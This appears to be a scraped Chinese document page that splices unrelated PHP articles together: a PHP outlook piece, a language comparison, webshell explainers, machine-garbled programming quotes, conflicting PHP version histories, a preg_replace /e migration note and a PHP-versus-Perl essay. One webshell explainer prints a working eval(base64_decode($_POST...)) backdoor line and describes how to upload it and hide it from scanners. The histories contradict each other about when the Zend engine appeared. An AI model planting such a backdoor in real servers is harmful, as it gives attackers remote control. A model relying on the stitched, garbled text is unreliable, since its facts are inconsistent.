PHP十年前灭掉PERL 如今PHP 将面临一场危机
天津PHP培训,这些年PHP的进展与现状

天津PHP培训,这些年PHP的进展与现状PHP是不是将要被其他编程语言所取代?PHP是不是已经穷途末路?这是近几年有关PHP 相关话题里ZUI为热门的。
今天诚筑说小编带大家了解一下这些年PHP的进展与拥有的特性及现状。
性能PHP的性能现在已经是非常强了,实现的空间变得更大、范围更加广泛。
从7.0版本可以明显地看出,PHP的性能一直处于只升不降的状态,可以与很多其他语言web框架性能相提并论。
框架诚筑说:一个开发语言的强大和语言开发框架息息相关。
Laravel和Yii是已经存在多年也同时广受开发人员喜爱的框架,但是与此同时也出现了很多新的框架激发我们去研究和使用。
Laravel帮助开发人员节约了大量的时间,你可以用Yii开发各种web应用,还有例如Symfony也是一个相对比较受欢迎的框架选择。
生tai衡量PHP生tai系统目前状态的方法是看一看Packagist,在过去的时间它一直呈现出指数增长的形势,由此显示出PHP的生tai系统已经不再是过去的样子了。
工具PHP的工具增长在这几年是有目共睹的。
例如静态分析器Psalm和PHPStan等等,这些工具能够静态分析PHP代码,并且可以通知你打字错误以及可能出现的Bug。
而且ZUI为受欢迎的是转编译,这一想法的实现让整个PHP工作中更加有趣。
现在市场上有越来越多的编程语言供大家选择,PHP也只是其中之一,作为基础结构PHP 的地位还是比较稳定的。
但是语言综合来说只能称之为是一个工具,好的编程实践具体与某一门语言是无关的。
但是现如今我们能够用PHP来开发优雅、可靠、保质量的web应用,这意味着我们都在与时俱进,共同进步。
其实市场在不断变化更替地同时,PHP也是如此跟随市场的变化不断地优化,所以就目前发展而言,PHP的前景是很开阔的!。
全面比较ASP、JSP、PHP 、Perl、.NET 等WEB开发语言的优劣

全面比较ASP、JSP、PHP 、Perl、.NET 等WEB开发语言的优劣ASP全名Active Server Pages,是一个WEB服务器端的开发环境,利用它可以产生和执行动态的、互动的、高性能的WEB服务应用程序。
ASP采用脚本语言VBScript(Java script)作为自己的开发语言。
PHP是一种跨平台的服务器端的嵌入式脚本语言。
它大量地借用C,Java和Perl语言的语法, 并耦合PHP自己的特性,使WEB开发者能够快速地写出动态产生页面。
它支持目前绝大多数数据库。
还有一点,PHP是完全免费的,不用花钱,你可以从PHP官方站点(http: //)自由下载。
而且你可以不受限制地获得源码,甚至可以从中加进你自己需要的特色。
JSP是Sun公司推出的新一代网站开发语言,Sun公司借助自己在Java上的不凡造诣,将Java从Java应用程序和Java Applet之外,又有新的硕果,就是JSP,Java Server Page。
JSP可以在Serverlet和JavaBean的支持下,完成功能强大的站点程序。
三者都提供在HTML代码中混合某种程序代码、由语言引擎解释执行程序代码的能力。
但JSP代码被编译成Servlet并由Java虚拟机解释执行,这种编译操作仅在对JSP页面的第一次请求时发生。
在ASP 、PHP、JSP环境下,HTML代码主要负责描述信息的显示样式,而程序代码则用来描述处理逻辑。
普通的HTML页面只依赖于Web服务器,而ASP 、PHP、JSP 页面需要附加的语言引擎分析和执行程序代码。
程序代码的执行结果被重新嵌入到HTML代码中,然后一起发送给浏览器。
ASP 、PHP、JSP三者都是面向Web服务器的技术,客户端浏览器不需要任何附加的软件支持。
技术特点:ASP:1. 使用VBScript 、JScript等简单易懂的脚本语言,结合HTML代码,即可快速地完成网站的应用程序。
php一句话木马原理

php一句话木马原理
PHP一句话木马是一种常见的黑客攻击手段,是通过向受害者的服
务器上传包含恶意代码的PHP文件来实现的。
其原理是在其中插入一
个用于执行远程指令的shell代码,并将它压缩成一行代码,以便在传
输和执行时不易被发现。
具体来说,PHP一句话木马的原理如下:
1. 通过漏洞或社工等方式获取目标服务器的管理员权限。
2. 在目标服务器上上传一句话木马的PHP文件,通常命名为"shell.php"等易于记忆和搜索的名称。
3. 在shell.php中,插入一段用于接收远程指令的代码,例如:
$cmd=$_POST['cmd'];eval(base64_decode($cmd)); 。
其中,
base64_decode()函数会对接收到的指令进行解密,然后运行其中的
PHP代码。
4. 将改动后的shell.php文件压缩成一行代码,并使用一些技巧,如利
用特殊字符、换行符等,使得该代码不容易被查杀或被安全软件拦截。
5. 在需要执行操作时,攻击者只需在可信的机器上发送HTTP请求,
将操作指令通过POST方式发送给线上的shell.php文件,然后代码会
被执行,从而控制目标服务器。
总之,PHP一句话木马是一种非常危险的黑客攻击工具,可造成严重
的安全威胁和数据丢失。
因此,网站管理员和维护人员应该加强服务
器的安全管理和日常维护,及时关注服务器的异常情况,定期更新系统和软件补丁,防止漏洞被攻击利用,保障网络安全。
php一句话木马原理

php一句话木马原理PHP一句话木马原理。
PHP一句话木马是一种常见的网络攻击手段,它可以让攻击者在受害者的服务器上执行恶意代码,从而获取服务器的控制权。
在本文中,我们将深入探讨PHP一句话木马的原理,以帮助读者更好地理解和防范这种安全威胁。
首先,让我们来了解一下PHP一句话木马的基本原理。
一句话木马实际上是一段经过编码的恶意PHP代码,它通常非常短小,只有一行甚至几个字符。
攻击者可以将这段代码插入到受害者的网页文件中,然后通过浏览器访问这个被植入木马的网页,就可以执行其中的恶意代码。
这种攻击手段利用了PHP的动态特性,可以在不修改文件的情况下执行任意代码,因此非常隐蔽和危险。
接下来,我们来详细分析一下PHP一句话木马的原理。
首先,攻击者需要找到一个存在漏洞的网站,比如未经过滤的用户输入、文件上传漏洞等。
然后,攻击者就可以利用这些漏洞将一句话木马代码插入到网站的某个可访问的文件中。
一旦有用户访问了包含木马代码的页面,恶意代码就会被执行,从而实现攻击者的控制目的。
此外,PHP一句话木马还可以通过一些特殊的技术手段来进行加密和混淆,以逃避安全防护系统的检测。
攻击者可以利用base64编码、字符串拼接、变量替换等技术来隐藏木马代码,使其更难以被发现和清除。
这也给网站的安全防护带来了更大的挑战,需要采取更加严密的安全措施来保护网站和用户的数据安全。
针对PHP一句话木马的防范措施,首先是加强对网站的安全审计和漏洞修复工作。
网站管理员需要定期对网站进行安全检查,及时修复存在的漏洞和安全隐患,以防止攻击者利用这些漏洞进行攻击。
其次,加强对用户输入的过滤和验证,避免恶意代码的注入。
同时,也可以通过安全防护软件和WAF(Web应用防火墙)等技术手段来提高网站的安全性,及时发现并阻止恶意攻击。
总的来说,PHP一句话木马是一种常见而危险的网络安全威胁,攻击者可以利用它来获取服务器的控制权,从而对网站和用户数据造成严重危害。
101条伟大的运算机编程名言

101条伟大的运算机编程名言“人们老是可怕改变。
电被发明出来的时候他们可怕电,是不是?他们可怕煤,可怕蒸汽机车。
无知无所不在,并致使恐惧。
但随着时刻推移,人们终究会同意最新的科技。
”正如比尔盖茨曾经警告过一样,运算机已经真正成为咱们的最新科技,几乎遍及咱们日常生活的每一方面。
因此,咱们那个时期的某些最伟大的头脑开始思索起运算机和软件关于人类的重要性来了。
以下确实是101条有关运算机的伟大名言:运算机一、“运算机没什么用。
他们只会告知你答案。
”——(巴勃罗·毕加索,画家)二、“运算机就跟比基尼一样,省去了人们许多的胡思乱想。
”——(萨姆·尤因,作家)3、“他们拥有运算机,他们也还可能拥有其他的大规模杀伤性武器。
”——(珍内特·雷诺,美国前女司法部长)4、“跟运算机工作酷就酷在那个地址,它们可不能动气,能记居处有东西,还有,它们可不能喝光你的啤酒。
”——(保罗·利里,吉他手)五、“若是汽车能赶上运算机的进展周期的话,一辆今天的劳斯莱斯仅值100美元,每加仑要跑100万英里,每一年还得爆炸一次,把里面的人杀个精光。
”——(Robert X. Cringely,技术作家)运算机智能六、“运算机老是愈来愈智能的。
科学家告知咱们说不久它们就能够跟咱们对话了。
(那个地址的“它们”,我指的是“运算机”。
我疑心科学家永久都不能跟咱们对话。
)”——(Dave Barry,幽默作家)7、“我最近注意到,在一起文化中,那种对运算机变得智能化并最终掌控世界的妄想恐惧症几乎完全消失了。
据我所知,这跟MS-DOS的发布大体是同步的。
”——(Larry DeLuca)八、“运算机遇可不能试探那个问题就像问潜水艇会可不能游泳一样。
”——(Edsger W. Dijkstra,图灵奖取得者)九、“活了一百年却只能记住30M字节是荒唐的。
你明白,这比一张紧缩盘还要少。
人类境况正在变得日趋退化。
php发展历程

php发展历程PHP发展历程PHP是一种广泛使用的开源脚本语言,特别适用于Web开发。
它的发展历程可以追溯到1994年,以下是PHP发展的主要里程碑。
1994年,Rasmus Lerdorf创建了Personal Home Page Tools(简称PHP Tools),它是一组用C语言编写的脚本,用于处理个人网页简历信息。
1995年,Rasmus Lerdorf将Personal Home Page Tools扩展成了一种服务器端脚本语言,并发布了PHP/FI 1.0版本。
这个版本能够处理表单和访问数据库,成为了当时创建动态Web页面的一种流行工具。
1997年,两位以色列工程师,Zeev Suraski和Andi Gutmans发布了PHP 3。
这个版本引入了Zend引擎,这是一个精简的脚本解释引擎,被广泛接受并完全重写。
2000年,PHP 4发布。
这个版本改进了性能和稳定性,引入了新的特性,如面向对象编程(OOP)和异常处理。
PHP开始被越来越多的Web开发人员使用,并逐渐在业界赢得了声誉。
2004年,PHP 5发布。
这个版本在性能和功能上都有了重大的改进。
它引入了一种全新的对象模型,称为Zend引擎 II,还支持更多的编程范式,如命名空间和抽象类。
2008年,Facebook宣布将PHP用于其内部开发,这是一个重要的里程碑。
Facebook对PHP的成功应用影响了很多开发者,并增加了PHP的可靠性和性能要求。
2010年,PHP 5.3发布。
这个版本引入了很多新的功能,如命名空间,匿名函数和闭包,还改进了PHP的性能。
2012年,PHP 5.4发布。
这个版本进一步改进了PHP的性能和功能。
它引入了短数组语法,命名空间的改进以及特性如Traits和迭代器接口。
2014年,PHP 5.6发布。
这个版本引入了一些新的语言特性,如可变参数和可变函数。
还改进了性能,并引入了新的内建Web服务器。
2015年,PHP 7发布。
php发展历程

php发展历程PHP(全称:PHP: Hypertext Preprocessor)是一种被广泛应用的开源服务器端脚本语言,最早由拉斯姆斯·勒多夫(Rasmus Lerdorf)在1994年开发而成。
以下是PHP发展的里程碑:1995年,PHP发布了第一个公开版本,命名为PHP/FI。
这个版本主要用于简单的表单处理和数据库交互。
1997年,PHP的发展迅速,并投入大量精力开发新的语法和功能。
发布了PHP 3,引入了诸多特性如面向对象编程(OOP)。
2000年,PHP 4发布,带来了更多的功能改进和性能优化。
这个版本引入了Zend引擎,增强了PHP的性能和稳定性。
2004年,PHP 5发布,是一个重要的版本升级。
PHP 5添加了许多新特性,包括对面向对象编程的改进,以及额外的异常处理和命名空间。
2012年,PHP 5.4发布,引入了更多的特性和语法改进,如特性聚合、短数组语法和Traits。
2014年,PHP 5.6发布,带来了更好的性能和更多的新特性。
这个版本引入了变参参数的特性、扩展了密码哈希函数、添加了通用哈希消息认证代码,并改进了OPcache性能。
2015年,PHP 7发布,是目前最为重要的一个版本升级。
PHP7通过引入全新的Zend引擎(Zend Engine 3)来提升性能,以及许多新特性和语言改进。
通过优化内存使用和提高执行速度,PHP 7显著减少了服务器负载和响应时间。
2016年,PHP 7.1发布,继续优化性能、改进语法,并引入了Nullable类型、函数返回类型声明等新特性。
2018年,PHP 7.3发布,增加了更多新特性、改进性能和增强语法。
它引入了功能性的增强,比如JSON错误捕获、更好的支持闭包、改进了Heredoc/Nowdoc语法等。
PHP的发展历程见证了它从一个简单的脚本语言逐渐成长为功能强大、充满生命力的开发语言。
每个版本的发布都带来了许多改进,提供更好的性能、更多的功能和更优雅的语法,为开发者创造了更好的编程体验。
php新版本废弃 e 修饰符

最近服务器php版本升级到了5.6 发现出了很多警告[php]view plaincopy1.preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead一开始没注意,后来发现很多这样的警告,于是网上查了下发现php5.5版本以上就废弃了 preg_replace 函数中/e 这个修饰符 /e 这个修饰符的意思就是让正则替换的时候替换规则支持php 代码那么应该怎么办呢其实只要把preg_replace 里面有/e 修饰符的代码修改成 preg_replace_callback 然后重新写下就好了例子最简单的写法[php]view plaincopy1.preg_replace("/([A-Z])/e", "'_' . strtolower('\\1')", $str)修改成[php]view plaincopy1.preg_replace("/([A-Z])/",'gwyy', $str);2.function gwyy($match) {3.return'_'.strtolower($match[1]);4.}第二个参数是个函数名然后在外部写一个函数但是我们每次定义一个函数感觉很麻烦所以我们可以用匿名函数比如说[php]view plaincopy1.preg_replace("/([A-Z])/e", "'_' . strtolower('\\1')", $str)修改成[php]view plaincopy1.preg_replace_callback('/([A-Z])/',2.function ($matches) {3.return'_' . strtolower($matches[0]);4. },5.$str)即可这里特别警告修改后/([A-Z])/e 最后一个 e一定要去掉不然就出错了如果在类里面还能这么写[php]view plaincopy1.class a {2.3.private$joinStr = "__AAAAA__";4.5.public function __construct() {6.$this->joinStr = preg_replace_callback("/__([A-Z_-]+)__/sU",array($this,'gwyy'),$this->joinStr);7. echo $this->joinStr;8. }9.10.public function gwyy($match) {11. print_r($match);12.return'aaa';13. }14.15.}16.$a = new a();第二个参数不是一个函数而变成了一个数组表示调用$this 类里面的gwyy 方法执行 gwyy会自动接受到一个$match 参数表下面再看一个稍微复杂点的例子[php]view plaincopy1.$patterns = '/'.$begin.$parseTag.$n1.'\/(\s*?)'.$end.'/eis';2.$replacement = "\$this->parseXmlTag('$tagLib','$tag','$1','')";3.$content = preg_replace($patterns, $replacement,$content);这个替换使用了类里面的自定义方法如果你再用匿名函数直接套的话会提示错误因为匿名函数上下文里面并没有该方法和该变量所以要用use() 来引入同时注意一定要把正则里面e 去掉[php]view plaincopy1.$that = $this;2.$patterns = '/'.$begin.$parseTag.$n1.'\/(\s*?)'.$end.'/is';3.$content=preg_replace_callback($patterns, function($matches) use($tagLib,$tag,$that){4.return$that->parseXmlTag($tagLib,$tag,$matches[1],'');5.},$content);这里用$that 代替$this; 好了今天先记录到这里吧。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
PHP十年前灭掉Perl如今PHP将面临一场危机来源:中国新闻网关键字:PHP;Perl;多维数组;Zend;库函数作者:2010-10-1217:17PHP3跟Apache服务器紧密结合的特性;加上它不断的更新及加入新的功能;而且几乎支持所有主流与非主流数据库;再以它能高速的执行效率,使得PHP在1999年中的使用站点已经超过了150000。
加上它的源代码完全公开,在Open Source意识抬头的今天,它更是这方面的中流砥柱。
不断地有新的函数库加入,以及不停地更新的活力,使得PHP无论在UNIX、LINUX或是Windows的平台上都可以有更多新的功能。
它提供丰富的函数,使得在程序设计方面有着更好的支持。
【PHP4】PHP4.0整个脚本程序的核心大幅更动,让程序的执行速度,满足更快的要求。
在最佳化之后的效率,已较传统CGI或者ASP等程序有更好的表现。
而且还有更强的新功能、更丰富的函数库。
无论您接不接受,PHP都将在Web CGI的领域上,掀起巅覆性的革命。
对于一位专业的Web Master 而言,它将也是必修课程之一。
PHP4.0是更有效的,更可靠的动态Web页开发工具,在大多数情况运行比PHP3.0要快,其脚本描述更强大并且更复杂,最显著的特征是速率比的增加。
PHP4.0这些优异的性能是PHP脚本引擎重新设计产生的结果:引擎由AndiGutmans和Zeev Suraski从底层全面重写。
PHP4.0脚本引擎――Zend引擎,使用了一种更有效的编译――执行方式,而不是PHP3.0采用的执行――当解析时模型。
PHP4的优越性:PHP4在3.0版的基础上增加或增强了许多有用的特征,主要如下:(1)别名:在PHP4中,可以利用引用为变量赋值,这给编程带来了很大的灵活性。
(2)扩充了API模块:PHP4.0为扩展的API模块的提供了扩展PHP接口模块,它比旧的API 版本显著地快。
PHP模块已有的及最常用的接口多数被转换到使用这个扩展的接口。
(3)自动资源释放:PHP4增加了引用计数功能,这种新技术的引入使PHP4具有了自动内存管理功能,减轻了开发人员的负担。
(4)布尔类型:PHP4.0支持布尔类型。
(5)进程生成:在UNIX环境下的PHP4.0提供了一个很智能和通用的生成进程,使用了一种名为基于automake/libtool的系统生成技术。
(6)COM/DCOM支持:PHP4.0提供COM/DCOM支持(仅用于Windows环境)可以无缝地存取和访问COM对象。
(7)与PHP3.0兼容性很好:PHP4.0是与PHP3.0代码向后兼容性接近100%。
由于PHP 4的改进的体系结构,两者有一些细微的差别,但是大多数人将可能永远不可能遇上这种情况。
(8)配置:PHP4重新设计和增强了PHP.ini文件,这使得用PHP.ini来配置PHP显得极为容易,这个文件可以在运行时被Apache(unix系统)或由Windows注册(Windows环境)。
(9)加密支持:PHP4实现了完整的加密,这些加密功能是一个完整的mycrypt库,并且PHP 4.0支持哈希函数。
Blowfish,TripleDES,MD5,并且SHA1也是可使用的一些加密算法。
(10)类型检查:PHP4.0支持同一操作符用于评类型检查:===(3等号运算符),为在两个值和其类型之间作检查。
例如,3===3将视为假(类型是不同的),而3==3(相等判断)将视为真。
(11)FTP支持:PHP4.0支持FTP。
通常,你会为通过一个调制解调器连接下载一个大文件提供一个接口。
然而,如果你确实有需要,可以使用PHP。
(12)PHP4新增函数或功能增强函数:PHP4.0新增了许多函数,同时也将许多现有的函数功能进行了增强,以下是一些例子。
array_count_values()eval()foreach()nclude()ob_end_clean()ob_end_flush()ob_get_contents()ob_start()strip_tags()unset()(13)here打印:PHP4.0的Here打印是与Perl类似的,尽管完全不相同。
Here是打印大容量文章的一个有用的方法,例如在HTML文件中,不会漏掉任何一个字符,例如目录标记。
(14)HTTP Session fallback系统:为HTTP Session管理的一个fallback系统在PHP4.0被实现。
缺省情况下,Session标识符由cookies存储。
如果没有cookies支持或一项cookies 任务失败,Session标识符自动被创建并在URL的查询字符串中被携带。
(15)ISAPI支持:PHP4.0能作为一个个性化的ISAPI模块作为IIS插件。
这比PHP3.0更有效,它作为一个外部的程序来运行。
(16)内存:PHP4.0能更有效的使用内存,导致较少的内存占用消耗,这主要归功于引用计数技术的实现。
(17)其他类成员函数:在PHP4.0你能在成员函数本身的作用域或全局范围内调用其他类的成员函数。
例如,你能用一个子函数覆盖父函数,并在子函数中调用父函数。
(18)多维数组:在PHP4.0,利用GET,POST,Cookies的进行的数据传输支持多维数组。
(19)个性化的HTTP Session支持:HTTP Session处理,包括fallback系统管理,在PHP 4.0被它的新库函数实现。
在版本 3.0中处理Session要求使用PHPLIB和第三方的库函数,它比把Session直接地由PHP支持慢了许多。
(20)个性化的Java支持:PHP4.0支持和java的交互。
这种个性化的Java支持为PHP在Java对象上创建和使用方法提供一个简单并且有效的工具。
21)对象和数嵌套组:PHP4.0实现了功能更加强大的对象,移去了PHP3.0存在的种种句法限制。
对象能在数组以内被嵌套并且反过来也如此,可以根据你的需要实现嵌套。
(22)面向对象的编程:PHP4.0为面向对象的编程和构造类及对象提供扩展的功能和新特征。
PHP4实现了对象重载,引用技术等新技术。
(23)对象重载支持:对象重载语法允许第三方的基于面向对象的类库使用PHP4的面向对象的特征存取他们自身的功能。
使用这个特征的一个COM模块已经被实现了。
(24)输出缓冲支持:PHP提供了一个输出缓冲函数集合。
输出缓冲支持允许你写包裹函数功能压缩缓冲区。
在PHP4的输出缓冲支持允许HTML头信息存放,无论HTML的正文是否输出。
头信息((header(),content type,and cookies)不采用缓冲。
(25)增加了PCRE库:PHP4.0包括一个Perl兼容的正则表达式(PCRE)库,和正常regex 库一起与PHP绑定。
split和replace PCRE功能被支持。
PCRE和Perl正规表达式之间有一些细微差别。
(26)PHP.ini文件:PHP.ini文件在PHP4.0被重新设计,使用的PHP的配置PHP.ini是更容易并且更有效的。
全部文件能被Apache在运行时间操作(在Apache环境下)或由Windows注册表(在Windows下面)。
被加入PHP.ini文件的配置指令自动地在所有相关的模块中被支持。
(27)引用计数:PHP4.0为系统中的每个数值提供了引用计数,包括资源。
一旦一个资源不再被任何变量引用,它自动地被释放以节省内存资源。
利用这个特征的最明显的例子一个内置SQL 查询的循环语句。
在PHP3.0中,每次递归另外的SQL结果集合重复申请内存,直到脚本执行完毕,这些结果集合占用的内存才被释放。
(28)支持引用:通过引用可以改变一个变量的值。
(29)函数的运行时绑定:PHP4.0的运行时间绑定功能允许你在他们被声明以前调用,无论声明是否在代码以后或是在运行时间。
(30)类的运行时信息:PHP4.0支持在运行时刻存取下列类信息:一个对象的类名,一个对象的父类的类名字,以及对象函数所在的名字。
(31)服务器抽象层:为支持Web服务器提供了增强型SAPI(服务器API)接口,是PHP4。
0不可分的一部分。
这个服务器抽象层,提供了通用的WEB服务器接口支持,支持多线程WEB服务器,为大多数的WEB服务器提供透明的支持,这些服务器包括Apache,IIS(ISAPI),以及AOL服务器。
(32)语法的点亮显示:PHP4.0语法的点亮显示允许开发者看见源代码而不是脚本,这个功能比PHP3。
0中的更有效。
它跑得更快,更执行得更好,并且产生更紧凑的HTML代码。
(33)由引用改变变量的值:PHP4.0由引用支持可变的赋值,“关联”的2个变量之中个的任何一个的值被改变,另外的变量的值同样被改变,这类似与C中的指针类型。
(34)在引用字符串中的变量引用:PHP4.0增强了在引用字符串中的变量引用。
本文来源于国外一位博友的文章,他在博客中写道:“是到了PHP落幕的时候了。
就在我这个顽固的PHP分子正要把一个现有的Ruby on Rails代码库转换成PHP时,我要说这样的话”。
历史在重演作者认为PHP将亡,因为我以前见到过。
大概十年之前,PHP灭掉了Perl。
当然了,并不十分彻底;它还坚守在某些环境里,它还有相当可观数量的顽固粉丝,遗留下来的应用程序也需要维护,持续几十年。
但这种语言对于新一代的人,特别是web开发者,它在1999年就开始灭亡了,到2005年左右几乎完全死了。
作为在那个时期出现的新的web开发者,事情显的很明白而且水到渠成:Perl已经不适应新的应用开发环境了。
在Perl里,页面需要冗长的公式化的CGI方式实现,而这些在PHP里却可以用基本的、缺省的编程方式实现。
Perl语言里到处都是旧时代的特征―引用,不方便的数据结构,还有其他许多的小的古怪语法语义――这使得web开发冗长,不稳定,不方便。
无怪乎没有一个出色的web应用是用Perl写成的,而用PHP你却能做的又快又简单,尽管PHP存在着在当时就显而易见的缺陷。
在1999年支持Perl反对PHP的争论有很多:Perl要快的多,有更多的程序库和驱动支持,CPAN是个神奇的地方,里面预先写好的代码能让你绝大部分任务省去80%的工作量。
现在看起来这些就有点可笑了,但“PHP缺乏可扩展性”却是个真正的缺点。
但总之PHP赢了,因为上面所说的这些问题并不是这种语言固有的。
PHP解释器可以变得更快,程序库可以被开发出来,PERA和PECL目前已经变得相当庞大,这还不包括各种厂商希望人们去使用他们的API而提供的非正式的程序库。
时间在推移十年之后,我可以感觉到历史大潮正在重演。
开发人员对语言的期望在前进。